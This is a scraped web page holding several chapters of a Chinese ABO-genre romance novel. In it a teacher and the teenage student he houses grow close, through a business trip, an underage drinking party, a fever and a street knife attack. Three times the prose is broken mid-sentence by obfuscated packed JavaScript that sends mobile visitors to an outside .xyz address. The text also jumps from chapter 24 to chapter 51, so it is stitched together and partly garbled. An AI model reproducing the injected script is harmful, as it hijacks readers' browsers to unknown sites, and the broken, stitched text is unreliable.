从池燃搬进他家,也有一个多月的时间了。这段时间他们几乎朝夕相处,而时间,是最能给人错觉的东西,亲密的错觉。 更何况池燃年纪还小,这个年纪的孩子正处青春期,心性不定,很容易对亲近的人萌生好感,再错把这种情绪当作“喜欢”或“爱”。 可说实话,决定收留池燃的那天,他没想到事情会发展到这个的地步。 也许是他先越了线? 但事到如今,他作为一个成年人,不该误导池燃继续陷在这种情绪里。 暂时远离,是他能想到的最好的办法。 潭知行沉下口气,摸出手机给郑秋发消息:「主任,最近有需要出差的任务吗?」 - “啊?潭哥出差了?” 体育课,白骁和池燃刚打完球,抱着篮球在长椅上坐下休息。 池燃点头,“嗯。” 他抽出两张纸巾来擦额头的汗,“好像要去一周,开什么会。” 白骁若有所思地哦了声,懒懒散散地靠在墙上,片刻后又忽然坐直身子,“那我们岂不是能去找你玩了?” 池燃疑惑了声。 “你忘啦?”白骁说,“这周三NBA有季后赛。” 他撞了下池燃的肩,怂恿道,“正好潭哥不在,咱几个去你那儿看比赛呗。” 池燃想都没想就应了下来,“行啊。” 反正潭知行不在,他一个人在家也无聊。 每年省里都要组织教师去参加思想道德培训,每个学院都要出两个人。 这种培训一般都是走个形式,坐那儿开会一听就是一整天,事后还要写报告,学期中各个老师都忙得不可开交,很少有人愿意参加,每年到最后都是郑秋抓壮丁。 正当他愁找不到人的时候,没想到潭知行会主动送上门来,把他乐够呛。 就这么,潭知行连夜收拾了行李,一早就坐上了学校安排的班车,前往机场。 说实话,有几分落荒而逃的意味。 “哎,潭老师?”坐在后排的女老师同他打招呼。 潭知行扭头一看,不是别人,正是陈渡的姐姐,陈茗。 “我这儿有位置,坐这儿吧。”陈茗招呼他。 潭知行将行李放在架子上,应道,“好。” “你也被抓去出差了啊。”陈茗摇摇头,叹口气,“还以为你这么大牌,能逃过一劫呢。” 潭知行笑笑,“我这周事情不多,跟主任说我可以去。” 一听潭知行居然是主动要求的,陈茗用不可思议的眼神看看他。 “哎潭老师,我听我弟弟说了。”因为前后都是老师,陈茗压低声音,“我觉得你说的也有道理,干咱们这行的,确实得低调点。” 潭知行嗯了声,“陈渡人很好,是我的问题。” 陈茗也叹口气,“没有,也是我考虑不周。” “以后要是有更合适的人再给你介绍。” 潭知行:“……” “对了。”潭知行从上衣口袋里摸出手机,“你上次发我的那些小说我都看了,有几个问题还想向你请教一下。” 陈茗一惊,“你都看完了?!” 潭知行:“嗯,差不多。” 他调出一段小说段落,递给陈茗,“我的问题是Alpha也有生/殖——” “别别别。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203353|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈茗按住他手机,无奈一笑,“潭老师,咱俩还是……打字沟通吧。” 潭知行:“……好。” 起飞之前,潭知行本想给池燃发个消息,再嘱咐他几句,按时吃饭睡觉之类的,但想了想,还是忍住了。 离开一周而已,池燃应该不会有事。 - “来来来,进门前先交‘保护费’啊。” 周三,晚上七点,白骁跟个门神似的站在潭知行家门口。 来人家家里做客,自然不能空手来,白骁早就嘱咐过他几个哥们,一人带点零食过来,好边看球赛边吃吃喝喝。 池燃杵在一旁,看他这套有点无语,“我已经订了很多吃的了,一会儿就送来。” 白骁不理他,装模作样地审查几个哥们手里的东西,“嗯,薯片,不错,进去吧。” 男生也乐意配合他,点头哈腰地进门,“诶谢谢骁哥。”又跟池燃打招呼,“燃哥晚上好啊。” 池燃无奈,“晚上好。” “我去。”白骁在门口将陈一铭拦下,往他拎的袋子里仔细瞅,“你拿的什么东西?” 陈一铭嘿嘿笑着把袋子敞开给他看,里面倒着几瓶啤酒红酒白酒,“从我爸柜子里偷偷拿的。怎么样,哥们靠谱吧?” 白骁一脸‘真有你小子的’,挥挥手放他进去了。 “我靠,燃哥,你家这么大?”几个人在屋子里转来转去,忍不住发出感叹,“这怎么还有空着的房间?” 池燃坐在茶几旁整理他们刚刚拿来的东西,道,“不知道要做什么,就空着了。” 陈一铭走回来,在他旁边坐下,“这不天选电竞房吗?” “我想在家装个电竞房都没地方。” “对啊。”一男生附和道。 池燃愣了下,他还真没这么想过。 确实挺合适的,不过这是潭知行的房子,他还没有这么大的权利。 他含糊应道,“嗯,以后再说吧。” 不一会儿,池燃点的外卖就接连到了。因为他们人多,又是男生,又吃又闹饭量也大,他点的也多。炸鸡披萨麻辣烫等等,摆了满满一桌子。 白骁突然“诶”了一声,问他,“怎么没点小龙虾啊?” “他家不送外卖。”池燃戴上一次性手套,准备吃炸鸡,“我懒得去买。” 回想一下他之前每次吃徐福记的小龙虾,还真都是潭知行去买的。 “来来来兄弟们!”陈一铭开了罐啤酒举杯,“感谢燃哥招待我们!” “谢谢燃哥!” “不醉不归!” 池燃跟着他们碰杯,这股热闹的氛围驱散了他这几天心头的落寞,果然,家里还是有人才好。 他仰头灌下一大口啤酒。 “比赛还得两个小时才开始呢,咱找个电影看?” “行啊。” “看啥?喜剧片行不?” “行行行,你来挑。” 池燃给他们指指,“遥控器在那边,柜子上。” 陈一铭主动起身,“我去拿。” 他拿了遥控器,又从柜子上抓起个还在震动的手机,“哎,你们谁手机放这儿了?来电话了。” “不是我的。” “也不是我。” 池燃闻声看去,朝陈一铭伸手,“我的。” “刚才收拾桌子顺手放那儿了。” “哦。”陈一铭给他递过去。 这个时候,谁会给他打电话? 直到池燃看到屏幕上的来电显示,一下僵住了。 潭知行,还是视频通话。 “我靠!”白骁瞥到屏幕,也惊了,立刻朝几个人紧急比了个“嘘”的手势,“别说话!” 23. 第 23 章 池燃瞬间起身,小跑回房间,关上门,还到镜子前确认了下自己看起来没什么异样,才坐到桌子前,接起了通话。 这是潭知行出差三天,第一次给他打电话,在此之前,只是每天发一条消息,看起来只是在确认他是否存活。 “干嘛?”池燃先发制人。 他从桌子上摸起有线耳机插到手机上,潭知行的声音延迟了两秒才钻进他耳朵里。 “你说什么?”他问。 潭知行摇摇头,“没事,需要你帮我个忙。” 池燃哦了声。 对方看起来正在酒店里,手机正对着他架着,照出潭知行的上半身,还是那副一本正经的样子,大概是在工作。 “去下书房,从抽屉里找个文件,拍照片发给我。”潭知行说。 池燃应声起身,“知道了。” 他举着手机出门,朝白骁几个使了个眼色让他们安静,又刻意把镜头贴近自己的脸,好让潭知行看不出房间里有什么异样。 他进了书房,回身关上门,把镜头翻转对准面前的柜子,问,“哪个抽屉?” 潭知行:“中间的,第二层,里面有个黑色文件夹。” 池燃把手机揣回兜里,方便他腾出手来翻东西,潭知行那头的屏幕就陷入了一片黑暗。 “这么多文件夹。”池燃在一堆文件夹里翻找着,翻了一会儿才看见个黑色的,他抽出来,“有两个黑色的,你要哪个?” 潭知行:“你放到桌子上给我看看。” 池燃;“哦。” 他听话地把两个文件夹平放在桌面上,又掏出手机来给潭知行看。 潭知行:“左边的。” 池燃问,“然后呢?” 潭知行;“我记不清在第几页了,你每页都翻一下我看看。” 以防池燃不耐烦,他又补充道,“就十几页,很快。” 池燃:“行吧。” 他将摄像头对准文件,把每一页都照清楚了,等潭知行发话说“不是”才翻页。 这么机械的重复着,池燃都觉得自己有点像个人机了。明明就十几页,他却觉得时间很漫长。 “你出差怎么样?”他问潭知行。 潭知行:“每天都开会,不算很累。” 池燃哦了一声,“很忙吗?” “还可以。” 池燃不太高兴地敛下眼皮。 不忙的话......为什么才给他打电话? “......什么时候回来?”他又问。 “大概还有三四天。”潭知行说。 “不能提前回来吗?” “应该不行。”潭知行让他翻了下一页,“怎么了吗?” 池燃沉默两秒,“没事。” “我就问问。” 他能有什么事,绕不过是一个人在家,很无聊。 潭知行:“嗯。” 片刻后,他问,“你怎么样?” “我?”池燃翻过一页,漫不经心道,“就那样。” “嗯......”潭知行顿了顿,好像在犹豫什么,“有吃早饭吗?” “吃了。”池燃说。 为了让潭知行相信,他特意回忆了下,一样一样讲给潭知行听,“前天吃的学校门口的炒面,昨天喝的牛奶,今天早上点了外卖,包子和粥。” 这些天,他快把不能自己一个人吃饭的毛病改好了。 潭知行轻轻应了声。 池燃翻页的动作顿了下,食指卡在两页之间没动,“有点想吃你做的三明治了。” 潭知行在那头笑了下,“不是不愿意吃我的营养餐吗?” 池燃:“......偶尔吃一下也行。” 他把文件翻到倒数第二页,潭知行看了几秒,确认道,“就是这个,拍给我。” 池燃哦了声,但拿着手机没动。 “你呢?”他问。 潭知行:“什么?” 池燃:“吃的什么?” 潭知行神色一滞,随即垂下眼,“每天都是酒店的自助餐,忘了。” 池燃;“嗯。” 他拇指停留在挂断键上,“挂了,我拍给你。” 潭知行:“好。” 就在这时,门外不知是谁嚎叫了一声,声音很大,直直穿透门板。 池燃一下僵住了。 潭知行也再度抬眼朝屏幕看过来,“池燃,家里有人?” “没有!”池燃立马否认。 但他说谎技术不佳,一眼就能被看出来。 “池燃......”潭知行又无奈地叫了他一声。 “......好吧。”池燃承认道,“是白骁,还有我几个同学,来家里看球赛了。” 这时候白骁悄悄将书房的门推开一个缝,探头进来。 池燃立刻瞪了他一眼。 白骁用口型和手势问他,大致意思是:没被发现吧? 池燃无语极了,他干脆拔了耳机,把摄像头抬起来直对白骁。 白骁:? “白骁。” 直到听到潭知行的声音,他一下老实了。 他装傻充愣地笑,“潭哥,这么巧啊。” 池燃白他一眼。 他举着手机往外走,到了客厅,把客厅的状况拍给潭知行看,“诺,我们就吃点饭,喝点——” 他一瞬间意识到不对,忙把摄像头从茶几上移开。 补上后半句话,“喝点饮料。” “你们喝酒了?”潭知行微蹙起眉。 刚刚的情形也够惨烈的,茶几上都乱成一锅粥了。他家里从没这么乱过,还真是托池燃的福,潭知行感觉自己的抗压能力都提高了些。 “没有!”白骁一下冲过来抢答,又朝哥们几个使眼色。 大家忙把酒瓶藏起来。 “潭哥你放心,我绝对不会让池燃喝多的。” 潭知行:“......” 白骁:“呃。” 怎么嘴比脑子快了? 池燃给了他一肘击,“行了你。” 他拿着手机走回房间。 “还有事吗?”他问潭知行,“没事我挂了。” 潭知行看他半晌,“没事了。” “记得拍照片给我。” “哦,知道。” “挂了。” 池燃按下挂断键。 “滴”的一声后,画面重回到聊天界面。 又是那干巴巴的两句,“早”“早点睡” 除了被抓包的窘迫,还有一点落寞。 片刻,他才收起手机。 “啧。” 总觉得自己有哪儿奇怪。 “刚才怎么回事?”池燃从房间出来,问他们,“喊什么?” 陈一铭哎一声,“怪我怪我,我不小心把麻辣烫弄洒了。” 他往旁边那哥们身上一指,“洒他身上,烫到他了。” “抱歉啊燃哥。”陈一铭说,“这地毯也脏了一块,一会儿我拿走给你干洗。” 池燃有点无奈,但也只能说声没事,“我来就好。”他最好在潭知行回来之前叫人拿走洗干净。 白骁揽过他来,“哎行了,潭哥不是也没说什么吗?” “陈一铭你把干洗费转给池燃。”他命令似的说了句。 “没问题!”陈一铭冲他俩敬礼。 池燃嗯了声,“没说什么,没事。” “那不就得了。”白骁打圆场,“来来来,接着吃接着喝。” 男高中生就是心大,不一会儿就把这点风波忘在脑后了。 不知道是谁提了句,“咱就这么吃着等球赛是不是无聊了点?” “玩点什么怎么样?” “玩啥?”有人问了句。 “真心话大冒险?” “行啊。” “你们呢?” 池燃没意见,“我可以。” 他伸胳膊怼了下白骁,“你呢?” “啊?”白骁正看着手机,才抬起头来,“你们说啥?” 池燃无语,“你干嘛呢?吃都不专心。” 白骁收起手机,“没事没事。” “你们要干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203354|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啥?” 池燃;“真心话大冒险,问你玩不玩。” 白骁:“玩玩玩。” 他伸手夺走池燃手里的啤酒瓶,“你少喝点。” “啧。”池燃瞪他一眼,“管我干什么,你自己怎么不少喝?” 白骁连连点头,“啊我也少喝我也少喝。” 他把啤酒罐放下。 他不敢不听他潭哥的话。 池燃要是出了什么事,潭知行怕是会第一个对他兴师问罪。 “来来来,把你们手机都交上来。”一男生组织道,“真心话大冒险。” “我闭眼睛抽,抽到谁就给你们好友列表第...36个人发一句''我喜欢你''” “我靠,玩这么大,不是真心话大冒险吗?一上来就这么刺激?” “怂了是不是?” “谁不敢就请兄弟们一顿午饭啊!” 白骁有点心虚地把手机交上去,第36个人?鬼知道会是谁。 池燃则很无所谓,他的新微信通讯录,别说三十六个人,十个人都不到。 “睁眼睁眼!”男生已经选好了一个手机,捏在手里晃着问,“这谁的?” 白骁睁眼的一瞬间就愣了。 靠,有这么背吗? 他认命地伸手拿过来,“我的。” “我去!” 几个男生立刻起哄。 “快看看第36个联系人是谁!” 白骁无奈地打开微信通讯录。 突然有人提了一句,“哎,不能让骁哥自己查,万一他作弊呢?” “谁给他查一下!” 陈一铭正想接下这个活儿,但被一旁的池燃抢了先,“我来吧。” 他拿过白骁的手机。 看着池燃一个一个数着,白骁不禁咽了咽口水,紧张得。 他微信人不算多,数到30的时候,已经到了J开头的人名,白骁只觉得自己的心要提到嗓子眼了。 池燃在数到“三十五”的时候顿住了。 因为好巧不巧,下一个人就是季明野。 “谁啊谁啊?” “下一个是谁?” 几个男生追问。 池燃不动声色地把屏幕往上滑过去一点,念出声来,“嘉鑫装饰。” 说完,他朝白骁瞟过去一眼。 “啥?” 有人哎了一声,“算了算了,重来。” “骁哥,你这加的什么人啊?” 白骁从池燃手里拿回手机,“前段时间我家装修,加的客服。” 他们又开始了新一轮的游戏。 白骁往池燃那边凑了凑,低声道,“谢了。” 如果真要他发消息给季明野表白,和要了他的命没什么区别。 池燃没吭声。 “这回抽到谁谁就喝三瓶啤的啊。” “没问题,谁怕谁?” “来!” 这下池燃没想到,这个幸运儿居然是他自己。 白骁一看觉得大事不妙,替池燃拦了下,“诶,三瓶太多了,我帮他喝两瓶。” 有人不要命地起哄,“我靠,骁哥,你是不是对燃哥有意思啊?” 白骁:“......” 池燃:“......” 池燃抢回白骁手里的啤酒,“用不着你,我自己喝。” 白骁一度欲言又止。 这咋办,一会儿池燃要是喝多了,他怎么向潭知行交代? - 晚上十点,潭知行刚合上电脑,准备去洗漱睡觉,手机忽然弹出个语音通话。 是白骁。 潭知行捏了捏眉心,觉得有些头疼,想都不用想,就知道是池燃喝多了。 他接起来,对面支支吾吾半晌没说话。 “怎么?”他问,“池燃不省人事了?” 白骁:“是有点,但是也不至于,就是......” “呃......” 潭知行:“说。” 白骁颤颤巍巍的,“潭哥,池燃好像......发烧了。” 24. 第 24 章 听到潭知行那边沉了口气,白骁立刻解释道,“潭哥,他是喝得多了点,我也想劝但是没劝住,但是他为啥会发烧我真不知道,今天天也不冷啊,我看他一直好好的,突然就这样了。” “电视柜下面有医药箱,里面有温度计。”潭知行说,“你先帮他量下体温。” 白骁:“哦哦。” 他连滚带爬地去找温度计。 “其他人回去了吗?”潭知行问。 “刚回去。”白骁夹着手机,听见电话那头有窸窸窣窣整理东西的动静。 “他喝了多少?什么时候开始发烧的?” 白骁回忆了下,“呃,五瓶,还是六瓶?一开始还好好的,我们一起看比赛呢,他说他有点困就躺沙发上睡了。” “我刚想叫他起来回房间睡,才发现他有点不对劲。” 潭知行嗯了声,“你先给他量体温,多少度发微信告诉我,我现在去机场。” “啊?”白骁惊讶道,“潭哥,你,你要回来?” 虽说发烧是病,可不至于吧? “嗯。”潭知行只拎了个电脑包,穿上衣服就要出门,“我大概三个小时,麻烦你看他一会儿。” “哦......好。”白骁应下来。 照顾池燃倒是没问题,可潭知行不是还在出差,就这么回来? 他挂下电话,叹口气,蹲在沙发边等池燃量好体温。 不一会儿,他把体温计抽出来,瞬间倒吸了口凉气。 “我草!” 他立刻抓起手机给潭知行发消息:「潭哥,四十一度!你快回来吧!」 他晃晃池燃的肩膀,“哥们,你别吓我啊!” 这他妈还能不能活着了?! 凌晨一点,潭知行落地。 进家门时,首先映入眼帘的是屋内的一片狼藉,随着才是缩成一团躺在沙发上的池燃。 白骁大概是困得不行了,直接四仰八叉地倒在了地毯上。 潭知行放下包,快步走去沙发边,用手背试了下池燃的温度。 果然,还在发烧,看上去没有好转的迹象。 按白骁的说法,池燃应该不是普通的感冒发烧,而是易感期又发作了。 就这么不凑巧,偏赶在他出差的时候。 正好这会儿白骁听到动静,迷迷糊糊醒了。 他撑着身子坐起来,揉揉眼睛,“潭哥,你回来了啊。” 潭知行:“嗯,你回房间睡吧。” “池燃他......” “他没事。”潭知行说,“你去睡吧,辛苦你了。” 白骁晃晃悠悠站起来,像是还没清醒,往客房走去,“没,我没事,我睡了潭哥。” 潭知行应了一声。 看着沙发上蜷缩的人,潭知行甚至不确定池燃是睡着了还是晕过去了。他琢磨片刻,将池燃拦腰轻轻抱起,朝房间走去。 他记得池燃书柜里还有两支抑制剂,应该有用。 他将池燃轻轻放在床上,找到抑制剂,坐回床边,挽起池燃的袖子,学着他给自己打抑制剂的样子,将针头扎入手臂。 尽管如此,等了片刻后,池燃还是没有要清醒的意思。看来这次易感期发作并不轻。 潭知行心沉下来。 “池燃。“他推推他,试图把人叫醒,“池燃?” 他这会儿倒是真希望池燃能醒过来咬他一口,会好得快点。 可池燃完全没反应。 潭知行沉默着,脑子里却飞速运转。 把池燃带去医院治疗应该也无济于事,普通的药对他没用。 上次那个abo医生怎么说的来着?易感期的Alpha要多多安抚。 一瞬间,潭知行想起这些天他看的那么多abo小说。除了抑制剂,除了标记,治愈Alpha易感期的方式还有......亲密接触。 牵手,拥抱,亲吻,和...... 潭知行制止住自己的念头继续往下。 可事到如今,池燃病成这个样子,他也只有死马当活马医。 迟疑片刻,潭知行起身,脱掉外套,脱掉西装,上身只剩件单薄的衬衫。 他深吸口气,摒除掉脑子里的杂念,躺到床上,将池燃揽进怀里。 他先是一顿,见池燃没有反应,又将人往怀里紧了紧。池燃身体很烫,呼吸也是,每一下气息都重重落在他颈窝,叫他一瞬间就乱了心跳。 潭知行不知道自己为什么要遭这种罪,可当白骁跟他说池燃生病了时,他旁的念头都没有,只想快点回到池燃身边,心像是牵了根绳子在池燃身上。 潭知行突然觉得自己有点可笑,说什么暂时远离,想什么给池燃一点空间,可现在看来,最需要冷静的,似乎是他自己。 他根本抗拒不了池燃靠近。 “唔......”怀里的人动了下。 潭知行身子一僵,垂眼看去,池燃好像挪动了下脑袋,在他怀里找了个更舒服的姿势。 潭知行顿时松了口气,看来这样还是有效果的。 他轻轻抚着池燃的背,低声如同这夜的静谧,“好了,没事了。” 潭知行几乎一夜没睡,听着墙上的钟分分秒秒地走,就这么睁眼熬到早上五点。 许是有抑制剂的加持,池燃的体温已经基本恢复正常了,这会儿睡得正香。潭知行轻轻挪开手臂,撤开身子,小心翼翼下了床。 一夜过去,他的衬衫都皱了,整个人略显狼狈。 他将房门轻轻关上,走去衣帽间换衣服。今天还有一天的会,现在赶回去还算来得及。 他换好衣服,正要出门,碰上出来上卫生间的白骁。 白骁叫住他,“潭哥,你要走啊?” 他看了眼时间,还不到五点,“这么早?” 潭知行点头,“嗯,出差还没结束,我得回去。” “池燃怎么样了?”白骁问。 “好多了。”潭知行说,“我今天会给他请假,早饭你们吃些清淡的。” 白骁揉揉眼睛,“哦,知道了。” - 池燃醒过来时,觉得自己像被人翻来覆去揍了一顿。头疼,浑身上下就没有不疼的地方,嘴巴喉咙也干,要冒烟的那种。 他都不记得自己昨天是怎么了,像彻底喝断片了,倒头就睡。 他歪歪扭扭站起来,走两步都觉得晕,扶着墙走出门。 看到白骁时,突然有点记忆涌入了大脑。他好像跟白骁他们喝酒来着,喝多了。 喝多了这么难受?看来他酒量确实不行,早知道听潭知行的少喝点了。 白骁正叼着油条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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潭知行轻轻嗯了声,“你发烧很严重,应该是易感期。” 池燃一听,才觉得自己的情况合理了。 怪不得他什么都不记得,那应该真是晕过去了。 不过,易感期怎么会好得这么快? 池燃犹豫了下问,“你......对我做什么了?” 潭知行低低笑了声,似乎是觉得池燃的问题很可爱。 “给你打了抑制剂。”他说。 “还有呢?”池燃问。 潭知行刻意掩去他们同床共枕了一晚的事实,只是单纯觉得现在不是该说这些的时机,“没有了。” 池燃有点不信,“真的?” 潭知行:“嗯。” “你就因为我发烧,飞回来了一趟?“池燃问。 潭知行又嗯了声,声音很轻,轻到他自己都要听不见,不知道是因为心虚还是什么。 “为什么?”池燃追问。 “白骁说你高烧四十一度,这么高的温度,放任你不管,可能会出人命。”潭知行为自己挑了个很好的理由。 “是吗?” 池燃忽然心情不错,笑了笑,问,“潭知行,你是不是喜欢我啊?” 50-60 第51章 潭知行完全不知道发生了什么, 下意识往后看了眼,就瞧见他们身后穷追不舍的三个人。其中一个他眼熟得很,便一瞬间就明白了。 “潭知行, 你怎么在这儿!”池燃边拼了命地跑, 边问潭知行。 “我来找你。”潭知行呼吸也有些乱了,“你怎么会碰到他们?” “说来话长。”池燃领着他左拐,“先跑吧。” 但下一秒, 他靠了一声。 怎么跑进死胡同了?! “快走。”他握紧潭知行的手。 可待他们回过身,已经来不及了。 高个纹身男将他们堵在路口, 其余两个也气喘吁吁跟上来。 男人一步一步逼近过来,冷笑了一声,“真巧, 俩都在呢。” 池燃暗暗捏紧了拳头,看来这一仗是非打不可了。 他低声,“潭知行,你躲我——” 潭知行却往他身前挡了一步,“别怕。” 池燃微微一愣, 下一秒, 对面高个男人挥拳过来, 却被潭知行锢住手腕, 用力向前一拽失了平衡。男人直直扑在地上,池燃趁这个机会, 又朝他踢了一脚。 另外两个人见自己朋友挨了打,立刻冲过来抡拳头。狭窄的巷子一时变得混乱极了。 池燃完全没想到潭知行还会跟人打架,根本用不上他保护。他先是给了其中一卷毛一拳,回身间抽空问潭知行,“你怎么还会打架啊!” 潭知行拎住另一人的衣领, 提膝冲这人腹部狠狠一撞,对方顿时痛得向后退了一步。 他在喘息间回池燃的话,“在国外读书的时候特意学过,防身。” “快走。” 三个人都歪歪扭扭地躺着蹲着,潭知行拽过了池燃的手。 “我日你们……”这个时候,高个男从地上爬起来,踉踉跄跄地冲过来。 潭知行听到声音,下意识回身,却发现男人手里握着一把匕首,直直地朝池燃刺过来。 几乎是瞬间,潭知行将池燃护在了怀里,刀刺破他肩上的皮肉,痛感随之而来。 池燃身形顿住,心中一紧,随即回身去看,鲜血已经染红了潭知行身上的米白衬衫。 高个男人还欲再刺过来,池燃抬起一脚正中他心口,将他重重踢翻在地,刀子被甩到一旁。 “你他妈——” 池燃气急了。 他想上前再教训这人一番,却被潭知行拉住,“池燃,算了……” 一听这话,三个人连滚带爬地逃走了。 “潭知行,你怎么——”池燃急切地回过头来,刚想关心潭知行的伤势,却一下愣住。 涌出的血已经浸透了潭知行左肩大半的衬衫,直漫到胸口。 他一下吓坏了,声音都发抖,“潭知行,你……” “我没事……”潭知行扶住墙壁。 “我给你叫救护车。”池燃立刻摸手机出来。 “用不着。”潭知行虚弱道,“打车去医院。” 眼看潭知行唇色都泛白了,池燃心被揪到了一起,大喊道,“什么用不着!你伤成什么样了!” 被池燃这么一吵,潭知行头更疼了。 他虚虚地在墙上靠住,“真没事,是肩膀……” “肩,肩膀?”池燃反应了两秒,直接上手去解潭知行的衬衣纽扣,“我看看。” 潭知行被他弄得没办法,只得又低低叫了他一声,“池燃……去医院看。” 但他这会儿反抗不过池燃,硬是被池燃扯开了衬衫,在胸口摸了摸。池燃确认潭知行没被伤到要害,这才把心放回肚子里一点。 他用力搀住潭知行,“你靠着我。” “我带你去医院。” 偏偏这巷子深,得走出巷口才能到马路边打车,池燃一面着急,一面怕走快了弄疼潭知行,一时像热锅上的蚂蚁。 “潭知行,你撑住啊。”他忧心道。 潭知行多少有些无奈,池燃搞得他像要命不久矣一样。况且他现在这样实在狼狈,衣服上有血不说,领口还半敞着。 可想到刚刚那一刀,若是伤到池燃,他宁愿自己现在这样狼狈。 把潭知行扛到路口,池燃拦了出租车,直奔最近的医院。 路上,池燃给韩闻烁打了电话,直接跟他说潭知行要死了,叫他来医院。 原本唱歌唱得好好的几个人,接到电话吓得跟什么似的,几乎是在十分钟内就赶到了医院。 “我操!”韩闻烁一阵风似的冲出电梯,后面跟着白骁季明野和陈一铭。因为喊得声太大,他被护士教训了一句。 他转眼看到坐在一旁的池燃,一个箭步就冲了过去,“潭知行呢!” 池燃往对面诊室给他指了下。 韩闻烁扭过头去,只见潭知行半裸着上半身,坐在诊室床上,护士正一圈圈地给他缠绷带。 韩闻烁拍了下脑门,瞬间松出一口气,“我草……” 剩下几个人也跟着松了口气。 “潭哥你没事儿啊,太好了。”白骁扶住门框,又回身质问池燃,“你跟我们说潭哥快死了,我们都要吓死了,你故意的吧?” 池燃白他一眼,“我不那么说你们能这么快赶过来?” 韩闻烁走上前问潭知行,“怎么回事啊?搞成这样?” 他又问护士,“他伤的严重吗?” “没伤到骨头。”护士说,“缝了七针,隔两天就来换一次药。” 韩闻烁连连点头,“好好,麻烦了。” 潭知行这才开口,简单概括道,“和人打了一架。” 韩闻烁有点不敢相信,“你?和人打架?” 潭知行嗯了一声,“遇上那天排球赛的人了。” 白骁反应过来,骂了一声,“靠,是不是那个纹身的?” “我就知道他不是什么好饼。” “池燃你呢?”季明野一听,也揪心起来,问池燃,“你受伤了吗?” “我没事。”池燃情绪不高,不轻不重地应了一声。他一直盯着潭知行缠绷带,心思完全拴在了潭知行身上。 他这会儿还在心悸。 等潭知行包扎完,几个人也没了兴致再回KTV,索性一起护送潭知行和池燃回民宿了。 “你俩这几天晚上别单独出门了。”几个人一起在大厅等电梯,韩闻烁嘱咐他们,“小心着点。” “我刚才问了方维,他说那男的好像是当地的混混。”陈一铭收回手机,“今天伤的不严重,算幸运了。” 白骁拍拍池燃的肩,“你和潭哥一起住,这两天你多照顾他点啊。” 几个人七嘴八舌地坐电梯上楼,各回各的房间休息,关上门,屋内又只剩下池燃和潭知行。 潭知行在床边坐下,觉得这一晚上过得真属兵荒马乱,好不容易有安静的片刻,疲乏感便涌了上来。 他抬手解胸前的纽扣,但单手显得笨拙了些,刚想动左手,肩上便传来一阵疼痛。 “我来吧。”池燃没多想,径直走上前,将手搭在纽扣上。可一瞬间,他又觉得哪里不对……他这么站在潭知行两腿间,好像,离潭知行太近了。 他动作顿住,下意识去看潭知行的眼睛,和他对上视线,就像被烫了一下。 “你来。”潭知行开口。 池燃短促地哦了声,忙垂下眼睛,解开第一颗纽扣。 “还没问你,晚上去做什么了?”潭知行声音低沉下来,“为什么骗白骁,说你在睡觉?” 池燃沉默,自顾自地往下解扣子,动作却慢了下来。 “池燃。”潭知行叫他,“说话。” “……没去哪儿。”池燃声音很小,“就随便逛逛。” “不跟我说实话吗?”潭知行微微皱眉。 “……回,原来的家,看了眼。”池燃解完最后一颗扣子,刚想往后退半步,却被潭知行抓住了手腕。 “看什么?”潭知行问。 “看看……原来住的房子,也想看看,现在住的是谁。”池燃说,“就这样。” 潭知行淡淡嗯了声,问,“想家了?” 池燃垂眼,“不算。” “怎么不叫我?”潭知行追问,“让我陪你一起去。” 池燃很想逃开,可这会儿却使不出力气来,只得别扭道,“叫你干什么?叫上你不是一样得挨打?说不定比现在更惨。” “我会担心。”潭知行语气急切了几分,“池燃,找不到你,我会担心。” “如果今天伤到的是你呢?如果有生命危险呢?” 想到这些,他都害怕得要死。 池燃瞥开眼,小声嘟囔了句,“我倒希望受伤的是我。” 至少现在,他不用这么担心潭知行。 “池燃。”潭知行语气加重,似带着些怒气。 “怎么了!”池燃一下被点着,甩开潭知行的手,“我就是希望受伤的是我!” “你帮我挡什么刀!把自己搞成这个样子,扣子都不能解!我说要你救我了吗!” “你——” 有没有想过,你出了事,我怎么办…… 池燃现在才感到阵阵后怕,万一潭知行真的出了什么事,他该怎么办? 他好像,离不开潭知行了。 池燃眼眶红了圈,说不下去了。 潭知行和他对视半晌,看不懂他眼里的情绪,或气或委屈。 半晌,他单手掩上衬衣,站起身,“我去和韩闻烁住,今天……我们都冷静一下吧。”—— 作者有话说:小池:[爆哭][爆哭][爆哭] 作者:好了好了小情侣不要吵架[求你了] 第52章 “来了来了, 谁啊?”韩闻烁刚换好睡衣准备打几把游戏再睡,听到有人敲门,一翻身从床上下来。 “我去!”看见潭知行这幅样子, 他被吓了一大跳, “你——” 不等他拒绝,潭知行直接进了门,通知似的和他说, “今晚我住你这儿。” 韩闻烁:? 他探头往外看了看,没瞧见池燃的影子。 韩闻烁关上门, 有点摸不到头脑,“咋了?你家那位赶你出来了?” “又吵架了?”他试探着问。 潭知行头疼得很,身上的伤口也隐隐作痛, 根本没力气再给他解释。他走到床边,关掉床头灯,单手掀开被子,躺了上去,“我睡了, 你随意。” 韩闻烁:“……” 有这么入室抢劫的吗? 不过看在潭知行负伤的份上, 算了。 